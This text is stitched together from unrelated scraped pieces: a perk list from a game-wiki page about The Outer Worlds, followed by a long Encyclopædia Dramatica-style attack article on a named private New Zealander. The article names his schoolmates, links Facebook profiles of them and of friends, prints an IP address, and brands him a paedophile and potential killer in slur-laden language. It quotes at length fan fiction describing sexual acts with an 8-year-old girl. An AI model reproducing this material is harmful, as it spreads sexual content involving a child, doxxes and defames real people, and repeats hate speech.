Cheetah makes you run faster.
High Maintenance increases weapon/armour durability, because of course Obsidian had to put weapon durability in this shitty game.
Precision increases your companions' critical hit chance.
The Negotiator makes vendors charge less caps for items.
All For One gives you more XP for companion kills.
Traveler allows you to fast travel while over-encumbered.
Quick and the Dead increases your Action Point refresh rate.
Pack Mule allows you to hoard more junk in your inventory.
A Few Bits Moar increases vendors' ammo and consumable stock.
Resilient increases your armour rating.

Tier 2

Run and Gun increases your accuracy while moving.
The Reaper is literally Grim Reaper's Sprint.
Weird Science increases science weapon damage.
Speed Demon increases your movement and action speed in V.A.T.S.
Scanner increases weak spot damage while using V.A.T.S.
The Collector highlights interactive objects sooner.
Snake Oil Salesman lets you sell items for more caps.
We Band of Brothers gives critical hits a chance to reset a companion's ability cooldown.
Tag Team gives companion abilities a chance to reset the cooldown of your other companion's ability.
Rolling Thunder causes kills to reduce the cooldown time of companion abilities.
Harvester restores some HP when you kill an enemy.
Hoarder reduces the weight of consumables.
Pack of Pack Mules allows your companions to hoard even more junk in their inventory.
Soliloquy gives you a speech bonus when traveling without companions.

Tier 3

Wild Science further increases science weapon damage.
Steady Hand removes all weapon sway and accuracy penalties while moving after making a kill.
Confidence guarantees a critical hit after killing an enemy.
Armour Master increases the armour rating and all skill bonuses from worn armour.
Super Pack Mule allows you to hoard EVEN more junk in your inventory.
Tactical Master allows you to temporarily move at normal speed in V.A.T.S.
Revenge increases your damage while inflicted with a status effect.
Last Stand is literally Nerd Rage.
Boom, Headshot! causes headshot kills to explode and damage other enemies. Similar to the Meltdown perk from New Vegas, but far less fun.
Don't Go Dyin' On Me! revives your companions when you do drugs.
Penetrating Shots temporarily reduces your target's armour rating with each hit.
Thick Skin reduces the damage you take from explosions and plasma.
Tit for Tat restores some of your health when you hit enemies with melee weapons.
Solo Sneaker makes you stealthier when traveling without companions.

== See Also ==
*[[Fallout: New Vegas]] - What The Outer Worlds wishes it were.
*[[No Man's Sky]] - What The Outer Worlds will be.
*[[Cyberpunk 2077]] - The reason everyone will forget about this game in 6 months.
*[[Starfield]]
*[[Mass Effect]]
*[[Borderlands]]
*[[Bioshock]]
*[[Futurama]]
*[[Rick and Morty]]
*[[Moon Man]]

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2024-07-28T09:47:52Z

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=RESERVATION SPOT FOR ANOTHER NEW ARTICLE LOLOLOLOLOLOL!!!!=
'''Carrd''' is a website where you list your mental illnesses, "kinks", pronouns, DNIs yadda-yadda-yadda

=My Life as a Teenage Robot=
'''My Life as a Teenage Robot''' is a boring nickelodeon cartoon, but it's not boring in terms of [[rule 34]] content
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Colby James

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[[File:KappusIRL.jpg|thumb|Colby James, as he appears [[IRL]].]]
[[File:KappusFace.jpg|thumb|Colby James, as he appears in his twisted [[Game of Thrones|fantasy world]].]]
[[File:HypocrisyKappus.jpg|thumb|The story in a [[The Nutshack|nutshell]].]]

'''Colby Charles "Thomas" "Jesse" "Mordecai" "Bushboy" "[[Teen Titans|Cyborg]]" James''' a.k.a. '''Trooper201''' (born February 29th, 1996) is a 5-birthdays-old [[autistic]] [[manchild]], [[virgin]], [[fan fiction]]/[[tl;dr]] writer, [[Drawn sex|amateur loli hentai porno artist]], known stalker, complete psychopath, and sick fucking [[paedophile]] from [[New Zealand]] whose numerous obsessions include ''[[1chan|Thomas the Tank Engine]]'', ''Star Wars: The Clone Wars'', ''Foster's Home for Imaginary Friends'', ''[[Gay|Twisted Sister]]'' and last but certainly not least – a long-cancelled [[Rugrats|Nickelodeon]] cartoon called '''''The Mighty B!'''''

Colby's unhealthy obsession with ''The Mighty B!'' has led to him becoming the [[Fantasy|self-proclaimed writer]] of the show's "3rd season" and the savior of ''The Mighty B!'' fandom. Unfortunately for other fans of the series, however, Colby is an absolute shit-tier excuse for a "writer" and has single-handedly turned a cartoon that was aimed at [[tween]]age girls into a horrific story that features [[paedophilia|prepubescent children engaging in sexual acts with teenagers]], girl scouts being sent to fight and die in [[World War III]], and worst of all – a new [[self-insert]] main character who has jack shit to do with the series' original plot.

Even by [[asspie]] standards, Colby is an extremely [[Butthurt|temperamental]] and [[violent]] individual whose numerous and often [[criminal]] antics have included [[death threats]], [[The Rapeman|rape threats]], [[Jihad|bomb threats]] and stalking. Thus far, it's been confirmed that he's been ''arrested for stalking a girl'' while his threats appear to have been written off as harmless spergrage. Colby also seems to have absolutely no understanding of [[Law|the law]] and consistently threatens to call the [[internet police]] on anyone he doesn't like – Ironic considering that his own hard drive is filled with [[lolicon]], which is considered [[child porn]] in New Zealand.

Oh, and did we mention that Colby James has a [[Cakefarts|fart fetish]] and harbours a [[Sick Fuck|deeply disturbing]] sexual obsession with a fictional [[Loli|8-year-old girl]]? Because both of those facts are pretty [[Funny|important]].

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== Colby James, Professional Autist and Future Serial Killer ==

[[File:ColbyCyborgJames.jpg|thumb|The manchild, the myth, the legend.]]
[[File:AutismPowers.jpg|thumb|[[Meth|Autism]], not even once.]]
[[File:TheNextSchoolShooter.png|thumb|[[Yes|Will Colby become]] New Zealand's next [[school shooter]]?]]
[[File:DillonMorgan.jpg|thumb|{{facebook|dillon.morgan.94|Dillon "Swag" Morgan}}, another target of Colby's unhinged [[rage]].]]
[[File:StevePratley.jpg|thumb|{{facebook|steve.pratley.108|Steve Pratley}}, another of Colby's "enemies".]]
[[File:StillAManchild.jpg|thumb|Retarded forever.]]

'''Colby James''' was born on February 29, 1996, as a direct result of his parents making the extremely [[Retarded|ill-informed]] decision to [[breeder|breed]]. Around the age of nine—which is [[coincidence detector|coincidentally]] the age of his current imaginary girlfriend—it finally became clear to [[Slowpoke|Colby's parents]] that he was autistic as fuck and would likely never grow up to be a [[EDiot|high-functioning member of society]].

Rather than sending their son to a school for retards, Colby's parents decided that they would send him to a high-school for normal people despite being fully aware of the [[fact]] that he was an autistic sociopath who would likely end up [[raping]] someone or [[Columbine|shooting up the place]].

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|Colby however left Hagley because of problems with exams their, so they sent him to Hilmorton, however their he joined Drama but unfortunantly later in term 2, he became love struck by a student named Krista Dawson who didn't return his feelings again like Kytten before, he didn't care until the end of term 3 where there he was pleading to go back to Drama, however with his teacher in the Learning Center now gone and replaced, this became a problem, In term 4 however '''he grew a hatred over Krista and wanted to kill her for getting rid of him in Drama, He wanted to through her off a building and if she grabbed onto his shoes he would use a sharp knife and cut off his shoe where Krista would fall to her death, like in the James Bond Film where Necros falls to his death in a similar manner, however unfortunately never happened''' because if he did that he would go to prison, he said something rude to Krista saying "You know what I think, Your drama performance sucks," and yield "OOOOOOOOOHHHHHHHHHHHHHHHHH!" very similar to Mordecai and Rigby in Regular Show when they do it, Colby told her, "I never want to see your face again," which meant he hated her, however during Hilmorton and his career, he befriended Ethan Johnson, who thought him how to be a bad kid, although however no one liked him but another friend did, and some did, Colby however had to help him, unfortunately '''Colby wanted to leave because he nearly was going to kill and rape Krista, as revenge for getting him expelled from Drama''', so he left never to go back again, this however has been a hard life after an 11 year career in school,|Colby James, admitted [[Almost raped|almost rapist]]

|He was put into 10BD with his teacher Mr Budd at Hagley and there he got bullied and they called him names like for example made fun of his middle name, (Thomas) from a train show which made him '''want to kill a boy by the name of Dillon Morgon'''. Also there he had a big crush on Kytten a girl whom he was attracted to. she didn`t feel the same way for him and he only liked her because of the singing she did. but he still kept annoying her and made her upset. Colby just couldn`t make a friend with Kytten and still things weren`t quite right at that school so '''Colby felt cheated one day on a Friday he got mad with her and nearly killed her but he smashed a toilet seat, then had to go to an Office'''. Colby`s life was miserable. Later one day he apoligised to Kytten but unawear he was being cheated by her. Later before she left to Unlimited High School. All Colby ever wanted was a big hug from Kytten which she gave to him on her last day and in the end he said good by to her.

He also had a hatred over the man Steave Prattley who was very annoying and his main arch nemesis was Dillon Morgan whom later when writing a book called Alpha India 2 his sequel is killed by Dylan Stewart and his '''ripped torn apart by the soldiers because is a rapist killer'''. A bad year and a very hard time and return of his show.|Colby often [[Dumbfuck|posts his homicidal thoughts on the internet]]

|Meanwhile Private Arnold "Arnie" Riley is still sad upon the deaths of his best mates, including Chris "Cyborg" Simpson and Jacob "Shepard" Dixon, however one of his closest mates, Private Aaron "Mac" Higgins goes to talk to him, Riley tells him that he couldn't have bared to seen Simpson killed by tree, and Dixon be killed in battle, he says he could have saved Dixon but wasn't close enough, Higgins tells him it wasn't Riley's fault, and however he tells "Mac" Higgins that he is right about Dixon's death, he also says he admired "Cyborg" Simpson that he was a great sniper like "Mac" was, however Riley tells Higgins that in his past once he got involved with a jerk-faced girl, and '''threatened to kill Krista Dawson''', and he '''threatened to blow up Hillmorton High School and also bulldoze the school and kill her, also rape her body when she is dead''', Riley however tells Higgins that he was responsible for his actions and cannot escape his past like as such Riley once however '''threw Krista into a glass window and used broken glass and left a scar on her face, he also beaten her up once''' and also pounced her responsible for Riley's actions however Higgins tells him that it's all in the past that Riley should look to the future, but couldn't understand why an evil girl hatted him, however Riley tells him once '''she was racist to him''' and picked on him, causing him to attack her, he is afraid of an evil world and like how his friends, Chris and Jacob that have been killed during the previous battle, Higgins promises to take good care and look after Riley with his life, so he cuddles Riley to make shore everything is going to be safe,|Colby enjoys writing about raping and murdering his IRL acquaintances

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How did we manage to obtain all of this juicy information on Colby's high school life, you ask? '''''Because he wrote all of this shit on a goddamn public wiki'''''. No, we aren't even kidding, '''''Colby James actually wrote all of his homicidal high school fantasies on a wiki about a cancelled cartoon that was aimed at young girls'''''.

And it isn't just his fellow students that he's threatened – he's also threatened his teacher and has written shit in his fanfics that suggests that he wants to get rid of his parents.

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|Then he grew a friendship to Sam Conniebear who befriended him and also Jared who thought him everything however one day he grew a hatred over Mr Budd and '''called him Mr Mudkip'''. fortunately for him he is bought to Fast Track and also later he runs off to the city crying and '''saying he was going to kill that old freak with a knife'''. But later his mother was not impressed.|Colby '''''called his teacher a [[Mudkip]] and then threatened to murder him'''''

|Unfortunately when Colby was a toddler at 4 years old in 2000 while Colby was still in kindergarten his parents where both killed in a car crash which it was found that his father drove straight ahead but the drunk driver lost control thus his parents died as a result but the crash saved Colby's life although he caught server brain damage which scared him for life making him a grumpy kid which he did not like to be reminded of the incident with his parents both being killed,|Colby, attempting to write his parents away

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== Kappus Michael Dee Snider Lovell TL;DRio ==

[[File:Kappus_hentai.png|thumb|Kappus TL;DRio]]
[[File:Kappus_when_he_was_born.jpg|thumb|The birth of an abomination.]]
[[File:Kappus_and_the_Rockband.jpg|thumb|Kappus and his band, [[Anal Cunt]].]]
[[File:TwistedSister.jpg|thumb|The original ''Twisted Sister'']]
[[File:BuffaloBill.jpg|thumb|Dee Snider, Kappus' namesake.]]
[[File:DeeSniderMoarAutism.jpg|thumb|This explains everything.]]
[[File:TotesDoesntLookLike.png|thumb|Only in Colby's mind is Kappus a [[Mary Sue]].]]
[[File:A_Brand_New_Job_for_Kappus.jpg|thumb|A true master of [[MS Paint]].]]

'''Kappus Michael Dee Snider Lovell Dario''' is Colby's shitty [[self-insert]] OC and the main focus of Colby's "Season 3 Books" despite having absolutely nothing to do with the actual show's plot. Kappus is a [[13-year-old boy|15-year-old]] New Zealandese [[Boytaur|boy scout]] who moves to San Francisco or some shit and has a [[Handjob|gripping]] and [[Sob story|tragic]] backstory that would make [[Batman|THE GODDAMN BATMAN]] jealous.

{{quote|In the Year 1996 Michael Lovell James gets born, but his Mother names him Kappus|Kappus' mum [[WTF|named him Kappus after he was originally born as]] [[Deadname|Michael]]}}

BUT WAIT, THERE'S MOAR!

{{quote|One day Kappus was at his Scouts, but trouble came his Mother Karen James caught Throat cancer and had to go to hospital, the nurses were unable to save his mum from Throat Cancer, his mother said to Kappus "take care of you father, for me," his mum suddenly died, Kappus began to cry, both he and his Friends and his Scouts and Mr Havelock and their Parents and other People participated in his Karen's funeral, Kappus said to her grave that, "I Was not able to save you Mum, good by mum you are in are hearts forever," after his mums death Kappus and his friends decided to do a rockband for his Mother, sins she was a founder of rockbands,|Kappus' tragically stupid backstory}}

That's right, Kappus' mum '''''[[Doing it wrong|caught Throat Cancer]]''''' (most likely a result of [[Whore|blowing too many niggers]]) and he started a fucking [[Rock Band]] in her memory. It doesn't get any moar tragic than that, folks!

=== Kappus: The Abridged Series ===

Because we here at [[Encyclopædia Dramatica]] care about [[Cunt|you]], we have actually taken the time to read the [[The Donald|græt wall]] of text that is the rest of Kappus' backstory – it's the worst thing that we've ever fucking read, but we'll sum it up to save you from having to deal with it.

After Kappus' mum dies, Kappus' dad decides that, instead of sending Kappus to [[School]], he'll send Kappus to the boy scouts as a sacrificial offering. A bunch of crazy shit happens, Kappus ends up earning a bunch of badges, fights a bunch of "graverobers" in [[Colorado]], then a motherfucking [[earthquake]] destroys New Zealand and Kappus is forced to move to [[San Francisco]].

Immediately after arriving in San Francisco, Kappus and his friends bump into Twisted Sister at the airport and are then crowned by Dee Snider himself as the new Twisted Sisters. Why? Because [[Mary Sue]] logic demands it.

{{quote|Dee Snider, their leader, told them you will be new members of the Twisted Sisters, Kappus was given the nickname, "Dee Snider." after the leader, Nicholas, Kappus`s Best friend was also given the nickname "Eddie Ojeda." after one of the band members, and also William was given the nickname "Mark Mendoza." after another Twisted Sister, band member, Don, was given the nickname "Jay Jay French," after one of Dee Snider`s band members, and also Joseph was given the nickname, "A.J. Pero." after one of the band members, the other two were not nicknamed, ,Dee Snider. told Kappus, good luck being the new Twisted Sister band leader, and a good luck to all of you, Kappus told Dee, that why do you need new band members, Dee, said to Kappus, because we are getting older, Kappus soon became the new Twisted Sister band leader,|Kappus becomes the new king of transvestite faggots}}

Kappus and his teenage friends—now infused with Dee Snider's power of faggotry—finally end up crossing into ''The Mighty B!'' universe and begin to meet a bunch of 8-year-old girls that they all feel immediate sexual attraction towards. Yes, Kappus and his friends have just become the first ever [[rapefugees]] to come to America from New Zealand.

=== Proof that Kappus is based on Colby ===

Colby insists that Kappus is an [[original character]] and not a shitty [[self-insert]], but the following facts disprove this assertion:

* They were both born on the same day.
* They were both born in Christchurch New Zealand.
* They're both retarded.
* They're both paedophiles.
* Their friends have the same fucking names.
* Kappus' mum is dead.
* Colby's mum is dead inside because of her son's shitty behaviour.
* [[Captain Obvious|IT'S FUCKING OBVIOUS!]]

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== Millie Millerson a.k.a. Butterface McGee ==

[[File:Mildred_Millie_Isabella_Millerson.png|thumb|Millie Millerson, the object of Colby's lust.]]
[[File:IShallShowYouStatutoryRape.jpg|thumb|This way! I shall show you shitty fan fiction!]]
[[File:Millie_in_Danish_clothes.png|thumb|Millie, dressed like a [[faggot]].]]
[[File:MillieIsRetarded.JPG|thumb|]]

'''Millie Millerson''' is a side-character from ''The Mighty B!'' who easily ranks in the double digits in terms of total screen time. Colby somehow ended up "falling in love" with the [[Hambeast|Mildebeest]] despite the fact that she's just a shitty background character with a [[Phineas and Ferb|fucking weird-shaped head]].

Millie is an 8-year-old Honeybee Scout who sounds like a dying Jew with braces and appears to suffer from a mild form of mental retardation. The only other real fact about her that the series itself ever actually reveals is that she owns a [[turtle]] named Chester Turtleton. Yep, this is some top quality [[waifu]] material!

Colby somehow thought that it would be socially acceptable to attempt to pair Millie with a non-canon "boyfriend" who is nearly twice her age. To make it even worse, the "boyfriend" is his own shitty [[OC]] and [[self-insert]] – [[Sarcasm|that certainly doesn't make Colby look like a paedophile!]]

{{quote|Because Millie loves Kappus and always kisses him on the lips and also hugs him she only likes him because he is a nice nerd with a pritty face, Kappus says to Millie that she is pritty and sexy and hot,|[[IP Address|203.173.187.96]]}}

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File:MillieAndKrappus.jpg|The dumbest couple ever.
File:OhnKappypie.png|Colby's art has actually improved over time.
File:Kappus_and_Millie_Kissing.jpg
File:Kappus_and_Millie_kiss.jpg|Are those square fucking trees in the background?
File:Kappus_in_bed_with_Millie.jpg
File:Kiss_me_darling.png
File:ChesterTurtleton.jpg|Chester Turtleton, Millie's pet turtle.
File:Lily_Hesterton.png|Kappus' pet turtle is a [[Vietnamese]] whore.
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File:TurtleSex.png|Maximum autism reached.
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== Colby's IRL "Friends" Fuck Fictional 8-Year-Olds ==

[[File:Lovik_Bonto_Gogenburg!.jpg|thumb|"Lovik Bonto Gogenburg", a highly-original [[OC]].]]
[[File:DexterIsNotAmused.jpg|thumb|Dexter is not amused by Colby's bullshit.]]

Some of the characters in Colby's shitty fanfics are based off people that he actually knows [[IRL]] – And in a desperate attempt to make himself seem like even moar of a twisted fuck, he's actually paired up these IRL "friends" with the other 8-year-old Honeybee Scouts. [[DO IT FAGGOT|Try to imagine being friends with an autistic paedo who draws you having sex with children]].

'''Nicholas Eddie Ojeda Weaver'''

:Colby's IRL friend, Dicholas Beaver, with his middle name replaced by the guitarist from Twisted Sister. Looks like a typical [[pothead]] and is paired with Gwen Wu in Colby's fanfics.

'''Lovik Bonto "Behnn" Lovely Gogenburg ([[Colby James/Lovik Bonto Gogenburg|lern moar]])'''

:A completely [[original character]] who definitely isn't the same as Dexter from ''Dexter's Laboratory''. Lovik is a "half-evil" scientist or some shit.

'''Denald "Denal" Robertson'''

:Look closely at his face and you'll find a racist caricature of a [[China]]man.

'''Donald "Don" Jay Jay "French" McDonald ([[Colby James/Donald Jay Jay French McDonald|lern moar]])'''

:[[Metal Gear Solid|Solid Snake]] combined with yet another Twisted Sister guitarist. Is paired with Bessie Higgenbottom in Colby's shitfiction.

'''Tobias Ipswich ([[Colby_James/Tobias Ipswich|lern moar]])'''

:A spoiled, rich, drug-addict with a pickle for a nose. Is paired with Portia.

'''Isaac "Bryon" Miriam'''

:A shitty recolour of Kappus who has a coonskin cap grafted to his head. His girlfriend is "Marie G. Malarkey", a nameless background honeybee that Colby decided to turn into a [[shipping]] prop.

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File:Nicholas_Eddie_Odeja_Weaver.png|Nicholas Weaver in the comics.
File:DickBeaver.jpg|{{facebook|weaver.nic|Dicholas Beaver}} IRL.
File:NickAndGwen1.png|Colby draws his IRL friend fucking an 8-year-old girl.
File:NickAndGwen2.png|Gwen suffers from severe varicose veins.
File:NuiHarime.jpg|[[Kill la Kill|Donald Jay Jay French McDonald]]
File:LordOfTheFags.jpg|Another pic of [[Ronald McDonald]].
File:BessiesFirstLoveSex.png|He actually knows how to make circles in MS Paint!
File:PlzDiePlz.jpg|All of these characters need to die.
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File:Denal.png|Denald "[[Dolan|Denal]]" Robertson
File:KanoZitfaceWiremu.jpg|Kano "[[Zit]]face" Wiremu, a blatant trace of Denal.
File:Wiremu.jpg|{{facebook|wiremu.manahi.31|Wiremu Manahi}}, a possible inspiration for Kano Wiremu.
File:KanoTigerlily.png|Kano fucking a morbidly obese landwhale.
File:William_Mark_Mendoza_Daniel.jpg|William "Mark Mendoza" Daniel [[Family Guy|Giggity!]]
File:WillDaniell.jpg|{{facebook|daniellwh|Will Daniell}} IRL. Yes, Colby can't even spell his friend's name correctly.
File:PortiaWhore.png|Tobias Ipswich
File:PortiaGetsRapped.png
File:Angus_McGregor.jpg|{{facebook|angus.mcgregor2|Anus McGregor}}
File:MightyAngus.jpg|Angus, as he appears in Colby's trashfiction.
File:Angus_reading_his_book.jpg|Another image of Angus.
File:MillieAndMandark.jpg|[[ORIGINAL CHARACTER DO NOT STEAL]]
File:Joseph_A.J_Pero_Brethren.jpg|Joseph Brethren
File:PennyCamwhore.png|You probably thought this couldn't get any worse.
File:Henry_McKovski.jpg|Henry McKovski
File:Isaac_Miriam.jpg|Isaac "Bryon" Miriam, proof that Colby even traces his own art.
File:IsaacFertilizer.jpg|Isaac, impregnating one of the Honeybees.
File:StupidSexyBoomhauer.png|Boomhour "Boomer" Ratliff
File:Lewis_Longshot_Barker.jpg|Lewis "Longshot" Barker
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== Mighty No. 3 ==

[[File:MoarColby.jpg|thumb|The next [[Pennywise|Stephen King]].]]
[[File:Kappus_Michael_Dee_Snider_Lovell_Dario_A.K.A_James.jpg|thumb|Behold, the new main character!]]
[[File:HatersWillSayItsFanFic.jpg|thumb|[[H8r]]z will say it's [[fan fiction]].]]
[[File:ColbyAdvertisesOnFacebook.png|thumb|[[lrn2]]paragraph]]
[[File:PortiaIRL.jpg|thumb]]
[[File:MarieBasis.png|thumb]]

After ''The Mighty B!'' was finally [[Murdered|canned]] by Nickelodeon after two whole seasons, Colby James decided that he would do the world a service by writing the show's 3rd season himself. Colby quickly determined that ''The Mighty B!'''s [[Loli|target audience]] had no interest in a female main character and began the [[Gun|long and hard]] journey to replace Bessie with a far more relatable protagonist!

{{quote|Dude to tell you I am the book writer of Season 3 for the future because the last episode in Season 2 was a shit ending, and Bessie didn't come close to being the Mighty B!, Thus Mrs Gibbons was hard on Bessie which I don't like, I am makeing it a better story,

We also need images of Season 1 n 2 episodes for gallerys, please, help us, also I do not like them making their own episodes up of Season 3 n 4, it never happened, Also I am the book writer for Season 3, they do not ask primision without asking me first, I am chairmen to this site, and I am gonna have to delete made up episodes sorry, but leave my ones, also you cannot just delete my images of my fan characters, they are for the future of the show to show how they will look like, also you can't just delete anything, ask me first,

I do respect you but still, trust me please, I am using them for the future, and also Introducing Kappus Michael Dee Snider Lovell Dario as second main character to replace Happy, Happy who is Bessie's dog will still be on the show, but Kappus mostly takes up,

my regaurds Colby James, Writer for the Mighty B! Season 3.|Colby James, self-proclaimed "writer"}}

One would think that a [[Sarcasm|smart young lad]] like Colby would be aware of the fact that he has no rights to ''The Mighty B!'' IP and that his stories are, in fact, [[fan fiction]] – that, however, was not the case.

{{quote|Hey Guys to the Mighty B! Wiki, and to everyone this is Colby James, now I know some of you might think this is made up but this carcter was for my new books that i`m writeing as part of my project,|Colby "Haters will say it's Photoshop" James}}

As one would expect, the fan-made third season of ''The Mighty B!'' was greeted with rave review – and by that, we mean that the reviewer was obviously attending a [[rave]] when he wrote this shit.

{{quote|I know who the person is making up the stories. His name is Colby James. He's a New Zealander. He's a real talented writer. He's also a big Mighty B fan. He's written several new Mighty B stories. He's also created some new Mighty B characters. Two of them are Kappus James and Nick Weaver. They make up a band called the new Twisted Sisters. Kappus bears a slight resemblance to the taffy factory manager from Something's Wrong With This Taffy. Nick bears a slight resemblance to Integritone 2. In one huge Mighty B story thay Colby writes, the Honeybees fight World War 3. Their enemy is none other than the Dragonflies. Sadly, some of the Honeybees are killed fighting World War 3. Gladly, it's no one from Troop 828, although one is seriously injured and is sent home. No one from Troop 787, Sissy's troop, dies either. That's another good thing. Anyways, I'm rooting for Colby. As a big fan, I do want to see another season of the Mighty B.|jegolas1973, thinking that Colby is a "real talented writer"}}

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== The Mighty B: World at War ==

[[File:Kappus_on_the_run_to_the_base.jpg|thumb|War, war never changes.]]
[[File:Dragonflies.jpg|thumb|The [[Bitches|dastardly villains]] who start World War III.]]
[[File:Redshirts.jpg|thumb|You '''''will''''' die in this shit if you aren't a major character]]
[[File:SoldierGirl.jpg|thumb|''The Mighty B!'' Season 3 IRL.]]
[[File:WorldWarBee.jpg|thumb|8-year-old girl scouts fighting in [[World War III]] because why not?]]
[[File:Sussanna_T_Rosetti.jpg|thumb|Susanna T. Rosetti]]
[[File:SussannaDead.jpg|thumb|One of the many poorly-drawn casualties of World War III.]]
[[File:Battle_of_Turkey.jpg|thumb|The Battle of [[Turkey]] involved much [[copypasta]].]]

Now that it was decided that '''Kappus [[Cunts|Something Something]] Dee Snider [[Jews did WTC|Something]] Something [[Diarrhea|Diarrheahole]]''' would officially replace Bessie Higgenbottom as the show's main character, it was time for Colby to begin "[[Vomit|writing]]" a gripping tale for the third season of ''The Mighty B!'' As a professional writer, Colby knew exactly what 8-year-old girls who watch Nickelodeon would want to see – '''''WORLD WAR III, MOTHERFUCKERZ!!111'''''

{{quote|Hey guys I just want to tell all of you, well you see my name I wrote, well tell me what you think about it and solve this problem, because I am a single, and lonely, but you are my friends of this wiki, right, well I need friends other's though, you know how I feel, and I am a real sad boy, but you can help my edits and rewrite the gramma spellings can anyone of you help,|Colby, stating the obvious}}

{{quote|With the dead Honeybee Paratroopers that perished in World War III Kappus told his Honeybees and the People they will not be forgotten and they partook in the burring of their dead bodys! all the Honeybee Paratroopers where present at their funeral of the burrieing of their bodys into coffins,|Colby James, on "burring" the corpses of 8-year-old girls}}

{{quote|Just before they arrived and Kappus gave the orders to 1st Lieutenant Joseph Brethren along with 3 Honeybee Paratrooper went to attack the town only two made it right before the battle begain in the town of Eskisehir. When she and Susanna T. Rosetti went the wrong way that led to the siloes where it led to a Dragonflie Sniper, However she and Rosetti took cover behind a fallen Dragonflie Army Truck, However Rosetti was killed by the sniper and after the death of Rosetti, but this made Kirshenbaum kill the Dragonflie Sniper with her rifle, Susanne was upset of Rosetti`s death and began to cry after that,|[[HA HA HA, OH WOW]]}}

{{quote|And that's the resin why... ever since I tried to kill Eminem and his gang, and ever since I tried to ask someone... I was shy and scared and nervous about it, I never went back to Kentucky again, and instead I was so frightened and autisticly scared to kiss people, that well... I am shy and embarrassed, we left Kentucky because of Eminem and his gang that I nearly tried to kill one of his men, we moved to San Francisco and when people look at me like gang's they try to follow me... And that is why I need a nice man to look after me not a nasty gang member or Eminem or Rap players or African-American's like Rocky Rhoads either, That is why I needed someone like me to protect me.. when I came here to start a new life as a Honeybee in San Francisco it's never been the same since Kentucky, I try to leave this behind me but whenever like when Bessie pushed me at the fun fair and became the henchwoman to the Mr Evil Pants... I was Gasslie Graff I feel enraged by this, but I felt sorry to have framed Bessie. and I feel like I need a nice man, I care about Bessie because she is nicer than Portia and Gwen that tease me and use me as pouching bags as their target, so does Matilda, I want to in life be a nice girl to people I play nicely ever since I was a little girl, it bothers me passing days,|Millie Millerson, being racist}}

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File:Ellen_Muck.jpg|KIA August 1st 2011, Afghanistan forrest.
File:Millie_Millerson_Paratrooper.jpg|KIA [[Last Thursday]], Encyclopædia Dramatica.
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== The Mighty Porno! ==

[[File:KappyTheMolester.jpg|thumb|Kappus and Millie have a perfectly normal relationship that [[NAMBLA|transcends statutory rape laws]].]]
[[File:MillieTouchingOnKappusPenis.jpg|thumb|Stop... just stop...]]
[[File:MightyBGetsRapedByShittyFanFiction.jpg|thumb|A diagram showing how much Colby [[raped]] the series with his shitty fan fiction.]]
[[File:BessieHatredbottom.jpg|thumb|Bessie's [[Hatred_(Video_Game)|reaction to being made a secondary character]].]]

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|That night when it was midnight Kappus and Millie began to do Oral sex that night, Millie found it to be touchful, Kappus was whereing a condom so that it could protect him from peeing sperm into her vagina, Millie liked what Kappus did that night,|'''''PEEING SPERM INTO HER VAGINA'''''

|Millie told Kappus that she actually liked Playboy stuff, Kappus liked what Millie said, he and Millie kissed each other on the lip,|Kappus exposes children to [[Playboy]]

|"Oh Kappus your body looks amazing,"

"Oh Millie,"

-Millie and Kappus when having oral sex-|Colby

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|Millie told Bessie about Kappus that he is a nice man and that he is very kind and he always where`s a condom when having sex, Bessie was amazed of this, Kappus hugged his girlfriend and kissed her, she kissed him on the lips, later on at night Mary told Kappus about his day, he enjoyed his day,|Millie confides in Bessie about being sexually abused by Kappus

|Millie is Kappus`s girlfriend and also he is in love with her, he and her have a cruch on eachother, however Millie likes Kappus and always hangs out with him, Millie likes to have sex with Kappus which Kappus always wants to do only for her, she and him want to get married in the futher and always want to have kids, Millie will always say that he is handsome and hot, Millie can do anything she wants for Kappus like she will give him a kiss on the lips or she will give him a massarge or a hug, Millie is in love with Kappus and she will always be with him,|Colby

|Mary was very upset with Kappus she clamed that Kappus had sex with Millie, Kappus told her he didn`t, she keeped telling him he did because Gaby told him, then not long Mary was soon said with Kappus, Kappus told Mary the truth, he was a prostichute and made sex for money, Mary understood Kappus and told him you don`t have to do this you are not a prostichute, and he wasn`t one of them, Kappus began to cry and began in tears, Millie hugged Kappus to tell him it is allright,|Kappus is literally a [[whore]]

|That night the two even eat Pizza and and play video games, Kappus and Millie play a game and the two even go to Kappus's room and even strip nude, Millie however giggles because the two are playing streaking around the house, Millie even hugs Kappus as they are both naked, (Not mentioned in the story) Kappus and Millie acctuley had sex that night and didn't wear any condoms, as they had sex, Millie even said, "Oh Kappus, it feels wonderful," and she giggles, Kappus was glad to have a girlfriend who didn't swear, the two gladly cuddled each other, and then slepped nude,|You just mentioned it in the story, dipshit

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{{quote|As Kappus went to her house Kappus was looking after her by himself, Kappus and Millie began to have fun all night long, Kappus then touched her by the sholders then they both went on the bed and made out, Millie took her clothes off but only showed her underwear, Millie told Kappus to lick her boobs, Kappus licked Millie`s boobs she found this to be touchfull, he laided on her and kissed her body, but Kappus told her we can`t have sex until we are 18, she understood him, she asked Kappus to take a picture of her nude, Kappus took a picture of her nude and once she came to look at Kappus`s phone she liked the image of her nude, and she told Kappus will you marry me in the future, Kappus told her yes i`ll marry you, Millie and Kappus kissed eachother, she and Kappus then watched a movie and had popcorn. Kappus and Millie then Kissed and hugged eachother as they were watching T,V. Later on Mr and Mrs Gibbons went back to Millie`s house, then they asked Kappus how was your night, Kappus told her it was good, just before Kappus went home, Millie kissed Kappus and then she hugged him and she told him i`ll see you tomorrow.|Kappus makes [[child pornography]]}}

{{quote|As Kappus went to her house Kappus was looking after her by himself, Kappus and Millie began to have fun all night long, Kappus and Millie then played with each other inside the house, Kappus and Millie then Kissed each other then she told him to touch her boobs, Millie took her clothes off but only showing her underwear, Millie told Kappus how do I look, Kappus told her you look hot, Millie loved that, Millie told Kappus to lick her nipples and her boobs, she liked that, And Millie then found this to be touchful and she loved what Kappus was doing, Millie then kissed Kappus, Millie asked to take a Picture of her nude, he used his phone and took a picture of her nude, Kappus then saw the picture and liked that, Millie then kissed him, Millie then touched Kappus`s penis and sucked on it she loved his penis, then she had sex with Kappus, she humped him harder and Kappus did the same, Millie told Kappus that we must not tell anyone this, he humped her until Kappus put his penis out and squrted sperm out on Millie`s face, Millie liked Kappus`s sperm, then Millie put her clothes back on and Millie then kissed her even more, Kappus then touched her by the sholders then they both went on the bed and kissed eachother, she told Kappus will you marry me in the future, Kappus told her yes i`ll marry you, Millie and Kappus kissed eachother, she and Kappus then watched T,V they had popcorn, Kappus and Millie then Kissed and hugged eachother as they were watching T,V she then asked him to touch her by the boobs, he touched them she 